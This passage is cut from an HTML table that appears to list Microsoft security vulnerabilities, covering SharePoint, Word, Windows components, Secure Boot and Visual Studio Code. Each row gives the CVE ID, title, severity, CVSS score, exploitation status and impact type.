  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45464"><span>CVE-2026-45464</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45465"><span>CVE-2026-45465</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47634"><span>CVE-2026-47634</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47640"><span>CVE-2026-47640</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45481"><span>CVE-2026-45481</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48560"><span>CVE-2026-48560</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48562"><span>CVE-2026-48562</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42835"><span>CVE-2026-42835</span></a></td>
  <td width="256" class="xl68">Microsoft Teams for
  Android Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45606"><span>CVE-2026-45606</span></a></td>
  <td width="256" class="xl68">Microsoft UxTheme
  Library (uxtheme.dll) Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45482"><span>CVE-2026-45482</span></a></td>
  <td width="256" class="xl68">Microsoft Visual
  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45466"><span>CVE-2026-45466</span></a></td>
  <td width="256" class="xl68">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45471"><span>CVE-2026-45471</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45486"><span>CVE-2026-45486</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45643"><span>CVE-2026-45643</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45457"><span>CVE-2026-45457</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980"><span>CVE-2026-42980</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42916"><span>CVE-2026-42916</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45649"><span>CVE-2026-45649</span></a></td>
  <td width="256" class="xl68">Office for Android
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47653"><span>CVE-2026-47653</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42909"><span>CVE-2026-42909</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42913"><span>CVE-2026-42913</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42993"><span>CVE-2026-42993</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45588"><span>CVE-2026-45588</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"><span>CVE-2026-48568</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48570"><span>CVE-2026-48570</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48573"><span>CVE-2026-48573</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48575"><span>CVE-2026-48575</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48576"><span>CVE-2026-48576</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48578"><span>CVE-2026-48578</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45654"><span>CVE-2026-45654</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45656"><span>CVE-2026-45656</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-8863"><span>CVE-2026-8863</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40376"><span>CVE-2026-40376</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281"><span>CVE-2026-47281</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47284"><span>CVE-2026-47284</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47292"><span>CVE-2026-47292</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  MSSQL Extension Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48569"><span>CVE-2026-48569</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47287"><span>CVE-2026-47287</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42829"><span>CVE-2026-42829</span></a></td>
  <td width="256" class="xl68">Windows Administrator
  Protection Secure Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34335"><span>CVE-2026-34335</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45601"><span>CVE-2026-45601</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45598"><span>CVE-2026-45598</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45596"><span>CVE-2026-45596</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45638"><span>CVE-2026-45638</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45603"><span>CVE-2026-45603</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42911"><span>CVE-2026-42911</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45594"><span>CVE-2026-45594</span></a></td>
  <td width="256" class="xl68">Windows Application
  Identity (AppID) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"><span>CVE-2026-45655</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45658"><span>CVE-2026-45658</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45640"><span>CVE-2026-45640</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth Port
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45605"><span>CVE-2026-45605</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47656"><span>CVE-2026-47656</span></a></td>
  <td width="256" class="xl68">Windows Boot Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44809"><span>CVE-2026-44809</span></a></td>
  <td width="256" class="xl68">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45634"><span>CVE-2026-45634</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45608"><span>CVE-2026-45608</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41108"><span>CVE-2026-41108</span></a></td>
  <td width="256" class="xl68">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42905"><span>CVE-2026-42905</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44811"><span>CVE-2026-44811</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44808"><span>CVE-2026-44808</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44807"><span>CVE-2026-44807</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42983"><span>CVE-2026-42983</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44802"><span>CVE-2026-44802</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44813"><span>CVE-2026-44813</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44804"><span>CVE-2026-44804</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48566"><span>CVE-2026-48566</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44814"><span>CVE-2026-44814</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"><span>CVE-2026-45602</span></a></td>
  <td width="256" class="xl68">Windows Dynamic Host
  Configuration Protocol (DHCP) Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42836"><span>CVE-2026-42836</span></a></td>
  <td width="256" class="xl68">Windows Function
  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
